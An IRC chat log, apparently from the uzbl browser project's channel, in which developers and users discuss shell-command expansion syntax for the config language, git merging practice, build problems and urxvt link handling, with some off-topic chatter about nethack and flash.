12:47 < rob|> oh and the buitlin shell var expansion, too
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12:50 < rob|> so, "set user_agent = ... @(uname -a)@ ..." would be a "static" expansion. i.e. the expansion only happens once
12:51 < rob|> and "set user_agent = \@(uname -a)\@" is a dynamic expansion, i.e. the command will be run every time
12:51 < rob|> this is especially useful in status_format
12:54 < Zaba> er
12:54 < Zaba> rob|, I think that \@(uname -a)@ would be enough actually
12:55 < Zaba> rob|, and I also think that escaped @'s should mean "don't expand this at all, use it as is"
12:55 < Zaba> or just one @ escaped for that matter, but still.
12:57 < rob|> Zaba: well, it actually means don't expand but write the string literalily to the var, on consecutive runs it will be expanded though
12:58 < rob|> like uzbl_var = \@(cmd)\@  and "print @uzbl_var" will actually run "cmd"
13:00 < Zaba> hm
13:01 < Zaba> I see
13:01 < Zaba> but how'd I insert literal @( and )@ then?
13:01 < Zaba> if I don't want them to be expanded at all, no matter what mangling is performed with the variable
13:01 < rob|> "\\\\@("
13:02 < rob|> would end up as "\@("
13:02 < rob|> erm, no - wait
13:04 < rob|> "\\\@(" actually
13:14 < Zaba> ugly
13:22 < rob|> well, shell escaping isn't much nicer either ;)
13:28 < rob|> basically @ and \ need to be escaped, so at least it's a couple of chars less than in the shell
13:31 < Dieterbe> when you pass strings through various stages and want to allow expansion at any of these levels, there is no way around multiple escaping.  i'm fine with it
13:31 < Dieterbe> if we explain it well in the readme and give some examples, everyone will know and it's a small thing to keep in mind
13:33 < rob|> exactly
13:34 < rob|> also only using '\' for escaping within uzbl keeps '' and "" shell escaping transparent, i.e. it does not interfere with uzbl
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13:35 < Dieterbe> and actually it is so nice that all this gives us more possibilities, but yet simplifies it all. (no more need for COMMIT, UNAME etc).
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13:36 < Dieterbe> i'm just not sure about your proposal of also stripping out variable expansion, rob
13:36 < Dieterbe> is it worth to remove a small couple of lines to go from $FOO to @(echo $FOO) ?
13:37 < Dieterbe> especially when you need to start espacing  @(echo $FOO), it might be better to just keep the variable expansion
13:37 < rob|> well, at least it would be a bit more consistent regarding escaping
13:37 < rob|> but i'm fine with keeping the code
13:38 < Dieterbe> hmm. maybe we could forsee something to export things from inside the config as environment variables too. then you could use those variables in other places of the config and/or spawned processes can use them as well
13:40 < rob|> depends, you can do  "@(echo @uzbl_var)@", so this isn't strictly necessary
13:40 < Dieterbe> we can define any arbitrary variables in the "uzbl namespace" ?
13:41 < rob|> we can't yet, though this shouldn't be too hard to implement. (currently you can use only the predifined vars the way described above)
13:43 < rob|> but, "set my_custom_var = something" is definitly possible with just a few lines of extra code
13:44 < Dieterbe> okay. maybe , also with just a little extra code you could extend it to also export variables as environment variables
13:45 < rob|> yeah, but that'll clutter the environment for no reason
13:45 < rob|> and would also be a static approach
13:45 < rob|> could lead to naming conflicts and what not
13:46 < Dieterbe> what i meant was, to make it optional to also make the variable an env var
13:46 < rob|> i'm not particularly fond of this approach
13:46 < Dieterbe> eg the user could choose, by adding an extra flag, or using a slightly different command
13:47 < rob|> imo uzbl vars should be just that - uzbl vars - and not span across different name spaces
13:48 < Dieterbe> and what if the user wants to set a var that is available to all child processes? (without passing it as argument, because that might lead to clutter)
13:49 < rob|> give an example?
13:49 < rob|> also that'll only work for childs, using the fifo/socket draws that approach pretty useless
13:50 < Dieterbe> right.  i'm aware it would be just another way to do things, that probably overlaps with some other concepts
13:50 < Dieterbe> but if it only requires a few lines of code, it could be useful
13:51 < rob|> well, i can't be bothered to write that code :P
13:54 < Dieterbe> ok, so the little "language" is your baby, how would you feel if i add the little bit of code to it myself? (basically a new command that wraps around a putenv())
13:55 < rob|> i'm perfectly ok with that
13:56 < Dieterbe> hmmm, no objections like "we don't need it, we already have ways to do what you want" ?
13:56 < rob|> well, i wrote that already, though if you feel the need for it - just do it ;)
13:59 < rob|> imo you wouldn't even need to modipy expand() for this. an 'export uzbl_var' command would be enough
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15:14 < rob|> anyone interested in doing a laborious task? i.e. converting the statusbar/titlebar symbols to use expand(), i can provide a template to get you started if needed..
15:24 < rob|> hmm
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15:37 < madnificent> rob|: in any case: paste what needs to be done somewhere (perhaps it can be done with a macro or sed command)
15:38 < rob|> i guess doing it manually is faster, though i'll paste what needs to be done
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15:43 < rob|> http://pastebin.com/mc3f876    <--- just ask if anything is not clear
15:43 < rob|> of course you need my latest master tree for this..
15:44 < rob|> http://github.com/robm/uzbl
15:45 < rob|> oh, what i forgot:  in set_var_value() you need to check wether the user tries to assign to a read only var, this is just a one line if()
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17:20 < barrucadu> hi
17:22 < barrucadu> Right, I'm attempting to switch to Uzbl from Opera cold turkey. Steadily increasing my usage of uzbl didn't work out at all
17:22 < uranther> hey
17:23 < uranther> didn't work?
17:23 < barrucadu> Nope, I just kept falling back to Opera
17:24 < uranther> :P for what?
17:24 < bct> yeah, what were you missing? maybe the solution is to duplicate the features you use rather than to force yourself
17:25 < barrucadu> I think I just kept falling back to Opera for familiarity :p
17:25 < uranther> :/
17:27 < Phillemann> I fall back to firefox for the lack of tabs in uzbl. :P
17:27 < eekee> tabs are the window managers job :d
17:27 < barrucadu> I've found that not having tabs makes me read each page more carefully - in Opera I'll just open a dozen or so tags and get through them all. Without tabs, I actually read them :p
17:28 < barrucadu> If I *need* to have a couple of things open at once, I can launch a new instance
17:29 < Phillemann> eekee: I don't agree, but I also don't want to start a discussion here. :D
17:31 < eekee> :)
17:31 < barrucadu> I shall have to record my Opera withdrawl symptoms for future scientific study - 'The effects of FOSS on the well-being of users' :p
17:31 < eekee> I used to run Firefox with around 100 tabs, could never find the one I wanted.
17:32 < eekee> :D
17:33 < Deepspawn> heh, I still go back to firefox when I have render issues or pages that for some reason don't work in uzbl. Otherwise I stick to uzbl. It saves me memory and cpu time.
17:34 < Deepspawn> On some pages when firefox eats like 30% of cpu time for me uzbl tops at 11%
17:34 < Phillemann> Deepspawn: While rendering or after that?
17:35 < Deepspawn> Phillemann, After it,  js heavy pages and flash embedded
17:35 < Phillemann> Well, you cannot blame either browser for flash-related CPU usage. o_O
17:36 < Phillemann> The javascript engine, however, might be more efficient. :)
17:36 < Deepspawn> Still the same page, same flash plugin and still eats less cpu than firefox
17:36 < Deepspawn> why? Don't ask me, it's a pretty anecdotical measure and I have no idea why
17:37 < Phillemann> Strange...
17:45 < Zaba> flash player is a binary blob
17:45 < Zaba> who knows what happens inside? :P
17:45 < Phillemann> Well, there is Gnash, but I don't think anyone uses it.
17:45 < rob|> well, uzbl's strength clearly lies in it's scripting features - or how would you e.g. download all images from a website with a custom app with ff/opera/...?
17:45 < Phillemann> Understandably...
17:46 < barrucadu> Zaba: I hear it's made with fairy dust and magic
17:46 < Zaba> tabs *are* window manager's job, there is no discussion to be about it :P
17:48 < Deepspawn> Philleman Gnash is actually really good but theres a lot of stuff that simply doesn't work in there to use it full time.
17:49 < Phillemann> Deepspawn: What makes it good then?
17:49 < bct> it's really good considering what it's starting with.
17:50 < Zaba> adobe has published a good document on swf structure and implementation tips, now gnash just has to do a lot of routineish work of turning that into code
17:50 < jaj> binaries should be avoided on the web. images are already bad enough
17:50 < Zaba> oh, and the VM for AS3 is open anyway
17:50  * bct doesn't have flash at all, it's good for his productivity.
17:51 < jaj> bct: exactly
17:51 < jaj> less bling bling, less annoying advertisments
17:51 < Phillemann> jaj: You mean we should transfer only human readable xml images? :P
17:51 < rob|> no youtube/last.fm/..., though
17:51 < bct> i use clive for youtube
17:52 < jaj> Phillemann: svg. animated svg would be a good replacement for flash animations
17:52 < bct> and the flash features of last.fm don't work outside the US anyhow.
17:52 < jaj> opera has been supporting animated svg for a long time
17:52 < Phillemann> jaj: No I mean...for photographs...
17:52 < Zaba> jaj, it'd waste space insanely
17:52 < Zaba> jaj, the flash format is all about saving bandwidth
17:52 < Phillemann> And see Zaba for the svg issue.
17:52 < bct> i dunno, compressed svg is probably not much bigger than flash.
17:53 < jaj> yeah gzipped svg
17:53 < bct> xml compresses really well.
17:53 < Zaba> because it's so wasty
17:53 < Zaba> :P
17:53 < bct> true.
17:53 < bct> but on the other hand, extensibility.
17:54 < jaj> you don't actually need a browser if you have flash
17:54 < jaj> flash has far more features than any web browser
17:54 < jaj> you can just create a flash web
17:55 < Phillemann> I love flash-only webpages. :P
17:55 < jaj> I don't see them
17:56 < Zaba> they suck
17:57 < jaj> webkit doesn't support gzip yet, is that right?
17:58 < uranther> seriously?
17:58 < Deepspawn> Philieman for the videos it plays it does the work much better than the binary plugin. But really I wish one day flash simply would be dropped
17:59 < Phillemann> Deepspawn: Ah, I see. Does youtube work?
17:59 < jaj> well sometimes when I go to some pages which are plain html in firefox I just see binary gibberish with webkit. I concluded that it must be gzip but I haven't tested yet
17:59 < jaj> happens with wikipedia from time to time
17:59 < bct> not consistently though?
17:59 < jaj> yes consistently
18:00 < jaj> but I don't recall a specific url now
18:00 < Deepspawn> Phillemann IIRC yes it does work
18:00 < jaj> but next time it happens I'll dig deeper
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18:09 < barrucadu1> Well, that's odd, I've just noticed that uzbl segfaults when I load uzbl.org - but haven't been able to reproduce this on any other site
18:09 < barrucadu1> Happens for uzbl.org/wiki and uzbl.org/bugs, too…
18:10 < barrucadu1> and lists.uzbl.org…
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18:11 < rob|> all of those work for me
18:11 < barrucadu> Must be something in my config file then…
18:11 < rob|> probably
18:12 < barrucadu> I'll just revert to the last version I had saved, I can't be bothered to figure out what I've done… I'm tired, it's a friday, and I just want to sleep for the weekend :p
18:14 < uranther> anyone here play nethack?
18:14 < barrucadu> I do, occasionally. I'm pretty bad
18:14 < uranther> same :S
18:15 < uranther> all i know is the pet trick.. if your doggie picks up the item it's not cursed
18:15 < uranther> but my dog just fell down a hole or something just now
18:15 < rob|> heh
18:16 < bct> there's a site with ajax nethack now.
18:16 < uranther> yeah i saw that
18:16 < Phillemann> Where?
18:16 < uranther> it's pretty slow
18:16 < uranther> telnet://nethack.alt.org :>
18:17 < Phillemann> No...the ajax nethack :>
18:17 < bct> http://www.big-ape.net/nethax/
18:17 < bct> shouldn't be too hard to get to the top of the scoreboard :)
18:18 < uranther> ah cool.. i just identified "u" and it gives me a shakespeare quote about a pony :P
18:18 < Phillemann> Hehehe
18:18 < Phillemann> It's slow alright but pretty neat technology :>
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18:24 < Dieterbe> evening
18:25 < barrucadu> hi
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20:18 < holizz> WTF, bct? That "nethack" doesn't let you move with hjkl!
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20:22 < bct> really? how awful
20:22 < bct> i haven't actually tried it
20:27 < Zaba> I prefer sporkhack
20:32 < uranther> holizz, you have to unset the number_pad in the options
20:32 < holizz> And how do you find the options in this clone? I tried O.
20:33 < uranther> on which?
20:33 < uranther> you're playing nethax aren't you?
20:33 < holizz> Yes.
20:33 < uranther> oh i dunno huhu
20:33 < holizz> Well, I'm not playing nethax, because I can't disable number_pad.
20:33 < Phillemann> Is it even possible for Javascript to capture those keys?
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20:34 < uranther> yea, play on alt.org
20:34 < uranther> way better
20:34 < Phillemann> Or locally...
20:34 < Phillemann> Just don't try to compile it yourself, they've got no build system and no real makefile. :P
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20:35 < uranther> alt.org can save your options :/ and they have leaderboards and you are able to watch people play
20:35 < bct> and you get more interesting bones levels
20:35 < Phillemann> uranther: But you cannot use it without a (non-congested) internet connection :D
20:36 < uranther> yea
20:36 < uranther> i suck at this game
20:36 < Phillemann> Who doesn't :/
20:36 < uranther> i keep drinking potions that make me hallucinate
20:36 < Phillemann> I know a guy who ascended like about times but he plays the game 24/7...
20:39 < bct> i got as far as the tower once
20:39 < bct> then got rubber-chickened by a giant :(
20:40 < bct> that's about when i quit playing nethack.
20:42 < Phillemann> lol, rubber-chickened?
20:42 < Phillemann> I got as far as the fort, then stopped playing for no real reason
20:44 < bct> rubber-chicken = a wielded cockatrice corpse.
20:44 < Phillemann> Ahhh
20:44 < Phillemann> Without gloves or did it just...decay somehow?
20:44 < Phillemann> Or were you hit by one?
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00:47 < madnificent> webkit-gtk-9999 will not compile on gentoo here, with the message "subversion: ESVN_REPO_URI (or specified URI) is empty."
00:48 < madnificent> as I assumed that there would be some gentoo people here with uzbl, I thought I'd have a good shot in here
00:48 < Phillemann> ESVN_REPO_URI="http://svn.webkit.org/repository/webkit/trunk"
00:48 < Phillemann> That's really not empty.
00:49 < Phillemann> I can "svn co" from that. madnificent: Have you compile subversion with webdav-*?
00:50 < Phillemann> +d
00:50 < madnificent> Phillemann: checking
00:51 < madnificent> Phillemann: should I have esvn installed?
00:51 < Phillemann> I don't know what "esvn" means.
00:51 < Phillemann> You have to have subversion installed with either webdav-neon or webdav-serf.
00:52 < madnificent> Phillemann: I have the webdav-neon use-flag,.. do I need to have the webdav-serf one too?
00:52 < Phillemann> No, one of them suffices.
00:52 < Phillemann> madnificent: Where'd you get the ebuild? From the uzbl wiki?
00:53 < madnificent> Phillemann: it is the one from the devnull overlay
00:53 < madnificent> (should've mensioned that)
00:53 < Phillemann> Hmmm, I don't have that overlay
00:54 < madnificent> uzbl is in it... I thought it would be a decent way to install it
00:54 < Phillemann> Just to make sure, check the ebuild for the line containing ESVN_REPO_URI. :)
00:55 < madnificent> Phillemann: strange thing: it has a EGIT_REPO_URI
00:56 < Phillemann> o_O
00:56 < Phillemann> I didn't know webkit had a git repository.
00:56 < madnificent> Phillemann: thinkering for a jiffy... think I have it through the git repos
00:57 < madnificent> Phillemann: the ebuild was loading the subversion tools
00:57 < Phillemann> Hm, great ebuild then.
00:58 < madnificent> Phillemann: my thoughts exactly.  If it works, I'll try to make it public :)
00:58 < Phillemann> That'd be great. "svn co" takes _ages_ for webkit.
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00:59 < madnificent> Phillemann: it is compiling here, I assume it fetched it
01:01 < madnificent> Phillemann: does it take a long time to build it (if you can recall how long it took you)
01:02 < bct> webkit's not a bad build
01:02 < bct> it's way faster than building firefox
01:03 < bct> (or xulrunner now  i guess)
01:04 < madnificent> bct: thanks
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01:13 < madnificent> is there a getting started somewhere?
01:19 < bct> not as far as i know.
01:19 < madnificent> bct: just found a readme on the site
01:19 < bct> yeah, that's your best bet.
01:20 < bct> that and reading the example config.
01:21 < madnificent> is there a standard place for the config file, so that uzbl loads it automatically?
01:22 < bct> ~/.config/uzbl/config
01:27 < madnificent> I see that the fifo-dir and the socket dir are both in /tmp, is that secure? does it support multiple users?
01:29 < rob|> depends, you can have uzbl create those wherever you want. also by default it uses the window id for the file/socket names which is unique per X server
01:43 < madnificent> slashdot won't load normally?
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01:52 < bct> oh, one thing that might not be in the readme: you need to use cookies.py instead of cookie.sh if you want cookies to work.
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01:54 < madnificent> bct: that has been set in the latest Dieterbe branch
01:55 < madnificent> (and cookies work here, but still no /.)
01:57 < bct> hmm, same here. interesting.
01:59 < bct> slashdot's using relative scheme urls
01:59 < bct> eg.
01:59 < bct> href="//c.fsdn.com/sd/idlecore-tidied.css?T_2_5_0_
02:00 < madnificent> bct: ahhh, and that confuses the url handler?
02:00 < bct> which is pretty uncommon, could be that
02:00 < bct> i don't know, but it seems like a fair guess
02:01 < madnificent> two more questions: is there a way to do tabs nicely (I'm in stumpwm here)? I can scroll by using j and k, but is there a way to change the focus to a different frame?  (I know you can do it in vimperator, but no idea in uzbl)
02:01  * madnificent feels cleaner when using uzbl
02:02 < bct> don't know about frames
02:02 < madnificent> follow_Numbers doesn't work in that case either :)
02:03 < bct> somebody (holizz?) has been working on in-browser tabs
02:03 < bct> i'm just using my wm's tabbing
02:03 < madnificent> bct: ion?
02:04 < bct> xmonad.
02:04  * madnificent would actually prefer if his wm would start supporting tabs, but it doesn't seem to be something that will happen soon (I'm building other foss projects, so I feel that I'm excused)
02:04 < madnificent> xmonad has tabs?
02:06 < madnificent> there seems to be a bug in the scrolling too :)
02:07 < madnificent> scrolling 'past' the bottom of the page seems to remember how much lines you scrolled (even if there is no page in there)
02:09 < bct> xmonad does everything when you have xmonad-contrib
02:09 < bct> yeah. that's fixed in my branch, Dieterbe hasn't pulled it yet.
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02:10  * madnificent refuses to start an xmonad vs stumpwm flamewar, as the latter is clearly superior
02:13 < bct> won't work with me, i'm actually a wmii fan :)
02:13 < madnificent> LoL
02:13 < bct> i only switched to xmonad because wmii hasn't released for a while
02:13 < bct> and the bleeding edge version wasn't working, and i was bored.
02:14 < madnificent> :P
02:17 < bct> relative scheme javascript's working fine
02:17 < bct> maybe it's cross-domain stuff that's broken?
02:17 < madnificent> I have no idea, it doesn't work at your place either, right?
02:18 < bct> no, but this test case works: http://necronomicorp.com/bct/uzbl/rel-scheme-js.html
02:19 < bct> (it should pop up an alert saying "success") and display a green bar saying success
02:19 < bct> and no red bar saying failure)
02:22 < madnificent> pasting from primary selection fails here (could be something I'm doing wrong)
02:23 < bct> using middle-click or using a keybinding that calls xclip?
02:23 < bct> middle-click doesn't work yet as far as i know.
02:23 < madnificent> I het success though
02:23 < madnificent> keybinding that calls xclip
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02:24 < madnificent> bct: nvm, I don't have xclip installed
02:24 < bct> yeah, it's not relative scheme urls. i'm suspecting some cross-domain weirdness, going to give that a test
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02:25 < madnificent> thank you all for building this.  The non-unix-centeredness of browser has bugged me for long (now do the same thing with word editors and GUI systems :P)
02:36 < madnificent> it seems to take uzbl far longer to load pages than firefox, is that possible, or am I delusional
02:36 < madnificent> (perhaps no pipelining (yet?))
02:38 < bct> i don't know if anyone's done any actual profiling
02:38 < bct> but i wouldn't be surprised if it's slower.
02:39 < madnificent> perhaps it is because it hasn't cached as much et
02:39 < madnificent> s/et/yet/
02:40 < bct> it's still very young, i think most of the work has been spent on basic functionality rather than optimization
02:40 < bct> for example, i don't think there's any persistent cache at all yet
02:40 < bct> just one in memory.
02:40 < madnificent> I am impressed by how far it is already
02:40 < madnificent> that would probably explain the speed issues
02:41 < madnificent> it is after reopening a uzbl instance
02:41 < madnificent> but that should be done in an external script, right?
02:42 < bct> IMO no, but if you spend much time in this channel you will discover that there are a lot of differences in opinion on that kind of thing :)
02:43 < madnificent> bct: it should be possible to swap out the cache system and replace it with another one, no?
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02:43 < bct> webkit's cache system? probably.
02:44 < madnificent> amongst others
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10:32 < Dieterbe> oh bct 
10:33 < Dieterbe> bct: we can probably do away with gscanner (or your replacement for it) entirely, when we start using rob|'s "language" that supports variable expansion
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11:27 < Dieterbe> @peak
11:27 < dev_null> Dieterbe: obama set a record of 83 people in #uzbl on June 09, 2009 at 03:41 PM CET. You'll need 25 more people to break the peak.
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12:11 < github> uzbl: Dieter Plaetinck experimental SHA1-199a9b0
12:11 < github> Aaron Griffin [PATCH 2/4] Remove install -D arg, OSX compatibility
12:11 < github> http://bit.ly/Cl5dr
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12:16 < github> uzbl: Aaron Griffin experimental SHA1-7335fa2
12:16 < github> Aaron Griffin [PATCH 3/4] Replace cp -ax with -p, for OSX compat
12:16 < github> http://bit.ly/sSC3O
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12:28 < github> uzbl: Aaron Griffin experimental SHA1-02b9870
12:28 < github> Aaron Griffin [PATCH 1/4] Add libgthread-2.0 to pkg-config, for OSX
12:28 < github> http://bit.ly/asnP0
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17:15 < bct> Dieterbe, works for me.
17:15 < bct> what about the scroll fix? would it help if i rearranged my repo?
17:17 < Dieterbe> bct: ah. hmm still need to look at your code for that
17:17 < Dieterbe> rob|_: here?
17:19 < Dieterbe> madnificent: did you work on the variable exansion for title/statusbar with robs expand thingie?
17:21 < Dieterbe> bct: what would you rearrange? you did the gscanner replacement in a separate branch, the diff between your experimental and mine is very clean
17:22 < bct> there are two commits for the scroll fix that i should have rebased
17:22 < bct> squashed into one
17:23 < Dieterbe> bct: well, once you push to github it's too late
17:23 < bct> yeah.
17:23 < Dieterbe> bct: i'll try it out and probably merge it. experimental that is
17:23 < bct> awesome.
17:23 < bct> thanks!
17:23 < Dieterbe> your gscanner alternative will probably be for the garbage bin though
17:23 < bct> yup, seems like we've got a better solution anyhow
17:24 < bct> fine by me, it let me get my hands dirty :)
17:25 < Dieterbe> :)
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17:52 < Dieterbe> bct: hmm your code in experimental is still the one that requires the user to put "'" around numbers?
17:54 < bct> ah, i had forgotten about that.
17:55 < bct> should i add a patch to remove that?
17:55 < bct> also the half-assed space binding.
17:56 < Dieterbe> yeah, just make a new commit that undoes those things
17:57 < Dieterbe> the ability to bind a space is wanted though in theory.  probably when rob|_ does his xfreekeysym() or whatever it was called thing, we'll be able to do a cleaner implementation
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17:59 < bct> i should probably put my quick&dirty stuff on another branch
18:01 < bct> ok, undo pushed.
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19:27 < Dieterbe> bct: i cannot merge that like this
19:27 < Dieterbe> you seem to rely on an external script, but why is there no example script?
19:33 < Zaba_> what's he relying on an external script for?
19:34 < Dieterbe> opening new windows or not
19:41 < bct> hmmm? i don't have anything about opening new windows
19:41 < bct> i pulled from holizz, maybe that's the problem?
19:42 < Dieterbe> uhm so you.. like.. merge in people stuff without knowing what it contains?
19:42 < Dieterbe> and then.. like.. ask me to merge from you?
19:42 < Dieterbe> do git fetch dieter
19:42 < Dieterbe> and then: git diff dieter/experimental
19:43 < bct> i'm sorry, i guess i didn't know exactly how you would do this
19:43 < Dieterbe> then you'll see what you have that i don't
19:43 < bct> i assumed that you could pull individual commits.
19:43 < Dieterbe> well technically that's possible (git cherry-pick) but it shouldn't be the goal to do it like that
19:44 < bct> would it be better if i made a new branch with only the changes i mean for you to pull?
19:44 < Dieterbe> that said, i didn't say the new window handler is bad.  it's just that i want to try it before merging, but it expects a script and there is no such script in your tree
19:45 < bct> honestly, i have no idea what the new window handler is.
19:45 < bct> i have been merging from holizz without reviewing the changes.
19:45 < Dieterbe> bct: well, yes. but generally you will want me to pull all "good stuff". so i recommend doing all your "good stuff" in experimental (and expect me to merge it at "some" point) and if you want to try stuff that you don't expect others to merge, do it in separate branches
19:46 < Dieterbe> or if you're working on multiple things at the same time, use multiple branches (see my last post to ML)
19:46 < bct> right.
19:46 < bct> i'm still new to git, i'm much more used to darcs
19:46 < bct> there are slight differences in the workflows that confuse me.
19:47 < bct> e.g. in darcs cherry picking when you pull is the default
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20:13 < bct> ok. that single commit is now in a branch called 'clean'.
20:13 < bct> sorry about the hassle.
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21:51 < Lux_Aeterna> Hello. I've just tried uzbl and have a question. Is there known problems with input text into HTML text fields?
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21:59 < MichaelRaskin> Lux_Aeterna, did you press "i" ?
22:02 < Lux_Aeterna> yes, I've just try it as if I've done this in vim. Nope, it didn't works out. I mean, i appears on title and thats all. Whats I did wrong?
22:05 < Lux_Aeterna> MichaelRaskin, any suggestions?
22:06 < MichaelRaskin> Lux_Aeterna, does status bar show [C] or [I] ?
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22:07 < evaryont> Has anyone abused the Xembed client support yet?
22:07 < Lux_Aeterna> MichaelRaskin: initial and after pressing i title has "C" char
22:08 < MichaelRaskin> Lux_Aeterna, well, maybe you should specify config file from share/
22:09 < MichaelRaskin> Or copy it to its proper location in home
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22:11 < Lux_Aeterna> MichaelRaskin: ok, I'll try that, thanks for the advise.
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22:54 < Dieterbe> evaryont: yeah. i tried the tabbed.py script that holizz wrote
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23:25 < github> uzbl: Brendan Taylor experimental SHA1-12af838
23:25 < github> don't scroll past the end of the page.
23:25 < github> http://bit.ly/oWMmE
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00:29 < jaj> hmm zenity needs yelp which needs xulrunner, not so cool to have xulrunner when you want to kick firefox altogether :)
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01:18 < MarSoft_> jaj: yes, but I think we can use xdialog or kdialog or someting like this. Maybe we need to use some wrapper script instead of directly zenity.
01:18 < MarSoft_> or make a wrapper to mimic zenity using kdialog/xdialog.
01:28 < jaj> yes
01:29 < jaj> personally I think I'll go for xdialog atm
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01:49 < MarSoft_> hmm... I have zenity installed, but without yelp... o_O
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10:39 < Dieterbe> jaj: zenity depending on yelp?? that's odd.. are you using ubuntu or something?
10:39 < Dieterbe> on Arch:
10:39 < Dieterbe> Depends On     : libglade>=2.6.4  libnotify>=0.4.5  
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11:01 < Frots> morning people
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13:16 < jaj> Dieterbe: no, using openbsd
13:17 < Tjh_> uzbl+filemanger anyone?
13:18 < jaj> Dieterbe: well zenity depends on the gnome module which has yelp
13:20 < Dieterbe> jaj: weird. afaik zenity does not use any gnome stuff. just gtk and maybe glib. but not gnome stuff
13:20 < Dieterbe> Tjh_: what do you mean?
13:23 < Tjh_> Dieterbe: i like how uzbl looks, i also like the fact that it uses vim bindings or vim like bindings, i want my fm to do the same...any ideas..
13:23 < Tjh_> and yes i have vifm, but i want a little more picture in my file manager
13:25 < jaj> Tjh_: you want to use uzbl like windows uses IE?
13:26 < Dieterbe> i think what he wants has nothing to do with uzbl
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13:38 < Tjh_> jaj: yes
13:38 < Tjh_> jaj: if i cud yes..
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19:08 < alice|wl> hello, just instaled your nice browser
19:09 < Dieterbe> hi
19:10 < alice|wl> any tips on how to load urls from screen/irssi
19:11 < alice|wl> copy&paste does only work on the terminal that opened uzbl not on the browsing window
19:13 < alice|wl> perhaps I ll have irssi post posted urls to a webpage and use it as an uzbl bookmark page
19:15 < alice|wl> is this a local problem I cant paste urls after typing :set uri)
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19:20 < Dieterbe> alice|wl: you should be able to paste by pressing instert or shift-insert
19:21 < Dieterbe> as for opening links from screen/irssi, that depends on your terminal
19:22 < alice|wl> shift insert indeed does the trick
19:22 < Morasique> alice|wl: i use urxvt, you can just click on links to open them; i don't know what you use, but gnome-terminal and roxterm do the same
19:23 < alice|wl> also urxvt
19:24 < alice|wl> but I cant klick anything :)
19:28 < alice|wl> is it possilble to bind the middle mouse click? I does same as left mouse atm
19:38 < Morasique> http://nion.modprobe.de/blog/archives/653-URL-highlighting-in-rxvt-unicode.html
19:38 < Morasique> you can set urxvt.matcher.button to whatever you want, i think 2 is the middle click
19:40 < alice|wl> Morasique: whow, cool ...
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19:41 < Morasique> alice|wl: last i heard people were having problems setting the urllauncher to uzbl directly; you might need to make a script that does "uzbl -u $*" and set the handler to that script
19:41 < alice|wl> sound resonable
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19:44 < jeanbon> close
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19:50 < Dieterbe> Morasique: hmm pretty silly one needs a wrapper
19:50  * Dieterbe afk. i'll try this stuff out later too. i also use urxvt
19:51 < Morasique> i don't remember what the issue was now, i think urxvt was dropping the -u part when calling uzbl
19:51 < Morasique> there were some hacks to try and get around it, but i just made a wrapper
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20:35 < alice|wl> hmm, me again ... how do I switch fokus? after opening another instance it doesnt take key commands
20:36 < alice|wl> oh, sry stupid me was in insert mode
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21:18 < Dieterbe> hey cool thingie
21:19 < Dieterbe> i read somewhere you can even do it mouseless
21:20 < Morasique> click links?
21:20 < Dieterbe> yeah "mouseless url yanking" or something
21:21 < Dieterbe> still need to look into it
21:21 < Morasique> yeah, i use it, it's nice: http://www.jukie.net/~bart/blog/20070503013555
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21:39 < Dieterbe> Morasique: hmm this is really weird. i'm still trying the mouse based one
21:40 < Morasique> what's weird?
21:40 < Dieterbe> if i open urxvt, then a new urxvt from there, and in that new urxvt i ssh to my box, reattach screen then i can click links from irssi just fine and the handler works
21:40 < Dieterbe> if, however, i do the same immediately from the first urxvt, then it doesn't work
21:40 < Morasique> ...yeah, that's weird
21:41 < Dieterbe> even if i do `xrdb -merge ~/.Xdefaults`
21:41 < Dieterbe> i even restarted X
21:41 < Morasique> damn, i was just going to ask about xrdb
21:41 < Morasique> what handler are you using? a wrapper or uzbl directly?
21:42 < Dieterbe> a wrapper.  see http://www.uzbl.org/wiki/urxvt
21:42 < Morasique> is it getting run at all? try throwing "touch /tmp/foo" in there or something and see if it gets created
21:43 < Dieterbe> right, i'll check
21:48 < Dieterbe> no, the script is not run at all
21:49 < Morasique> if you open two urxvt's and close the first one, does it still work from the second?
21:51 < Dieterbe> you mean open  urxvt's in parralel, close the first, and then in the 2nd do the ssh/screen attach test?
21:51 < Morasique> yeah. does it still work without the first one being open anymore?
21:52 < Morasique> i can't imagine how having two open could change the behavior versus just having one open
21:52 < Dieterbe> the "key" is opening urxvt from "inside" the first urxvt. eg you open urxvt and then type 'urxvt'<enter>
21:53 < Dieterbe> what you propose is just starting 2 urxvt's, unrelated from each other
21:53 < Dieterbe> anyway it doesn't work
21:54 < Morasique> oh, i see, i was misunderstanding what you were doing
21:56 < Morasique> does symlinking .Xresources to .Xdefaults help? i've never been clear on the difference, but i know they're parsed at different times
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21:56 < Dieterbe> ln -s .Xdefaults .Xresources
21:56 < Dieterbe> like this right?
21:57 < Dieterbe> hmm the direction shouldn't even matter, nm
21:57 < Morasique> yeah, i have .Xdefaults pointing to .Xresources, but i think most people do it the other way around, it shouldn't matter
21:57 < Dieterbe> no cigar
21:57 < Dieterbe> is there a way to "get" those properties inside a terminal?
21:59 < Morasique> xrdb -query
22:01 < Dieterbe> weird. it's the same
22:03 < Morasique> what extensions are you loading? default and matcher?
22:04 < Dieterbe> yea
22:08 < Morasique> yeah, i'm confused. solution: never close urxvt
22:09 < Dieterbe> fugly :P
22:10 < Morasique> try opening urxvt and typing a url and clicking on it, does that work?
22:10 < Dieterbe> no. so it's not screen/irssis fault
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22:10 < Morasique> but the url is getting highlighted?
22:10 < Morasique> that seems impossible
22:11 < Dieterbe> yea
22:11 < Morasique> it's the same extension
22:11 < Morasique> wait, is it?
22:11 < Morasique> i think it is
22:11 < Morasique> matcher does the highlighting and the clicking, right?
22:11 < Dieterbe> hilighting works fine. the clicking not
22:11 < Dieterbe> i'm not sure
22:12 < Morasique> yeah, it does
22:13 < Morasique> you could start messing with on_button_press/release in the extension to see if they're working right
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23:07 < piroko> Any improvements in the performance department with regards to calling those scripts?
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00:52 < alice|wl>  any planing on command history?
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02:56 < madnificent> alice|wl: actually, if the external commands that can be called would be (not sure if they are, but I assume so) non-exclusive, then you could add the history as a script.  I also don't know if there is an interface to the content in the command line, but I guess that should be there (or at least be added in the future)
02:56 < madnificent> it would be a good thing if a single entry in the bar could cause multiple actions.  The action would need to send a clear command to the browser if it feels the need to clear the command bar though (but then again, that wouldn't be bad either, I think)
02:58 < alice|wl> well, dont know much about actions and the bar ... but sounds intersting
03:08 < alice|wl> something similar might be nice to edit the actual url
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09:40 < jaj> hi, do you plan to put snapshot tarballs online at some point? would make packaging far easier.
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09:43 < Dieterbe> jaj: we don't have any official releases yet
09:44 < Dieterbe> we recommend git packages
